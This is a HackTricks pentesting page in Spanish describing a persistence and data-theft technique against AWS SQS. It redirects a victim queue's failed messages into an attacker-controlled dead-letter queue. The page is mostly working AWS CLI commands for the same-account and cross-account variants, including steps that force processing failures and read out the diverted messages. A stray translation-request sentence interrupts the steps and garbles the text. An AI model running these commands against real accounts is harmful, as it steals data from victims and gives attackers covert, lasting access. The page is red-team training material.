AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Abuse SQS Dead-Letter Queues (DLQs) para extraer sigilosamente datos de una cola fuente víctima apuntando su RedrivePolicy a una cola controlada por el atacante. Con un maxReceiveCount bajo y provocando o esperando fallos normales de procesamiento, los mensajes se desvían automáticamente al DLQ del atacante sin cambiar a los producers ni las Lambda event source mappings.

Abused Permissions

  • sqs:SetQueueAttributes en la cola fuente víctima (para establecer RedrivePolicy)
  • sqs:SetQueueAttributes en el DLQ del atacante (para establecer RedriveAllowPolicy)
  • Opcional para acelerar: sqs:ReceiveMessage en la cola fuente
  • Opcional para la configuración: sqs:CreateQueue, sqs:SendMessage

Same-Account Flow (allowAll)

Preparación (cuenta atacante o principal comprometido):

REGION=us-east-1
# 1) Create attacker DLQ
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'

Ejecución (ejecutar como principal comprometido en la cuenta de la víctima):

# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'

Aceleración (opcional):

# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done

Por favor proporcione el contenido del archivo src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md que desea traducir al español.

# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--max-number-of-messages 10 --attribute-names All --message-attribute-names All

Ejemplo de evidencia (los atributos incluyen DeadLetterQueueSourceArn):

{
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
}

Variante entre cuentas (byQueue)

Configura RedriveAllowPolicy en la DLQ del atacante para que solo permita ARNs de las colas origen específicas de la víctima:

VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'

Impacto

  • Exfiltración/persistencia de datos sigilosa y duradera al desviar automáticamente mensajes fallidos de la cola origen SQS de la víctima hacia una DLQ controlada por el atacante, con ruido operativo mínimo y sin cambios en producers ni en mappings de Lambda.

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks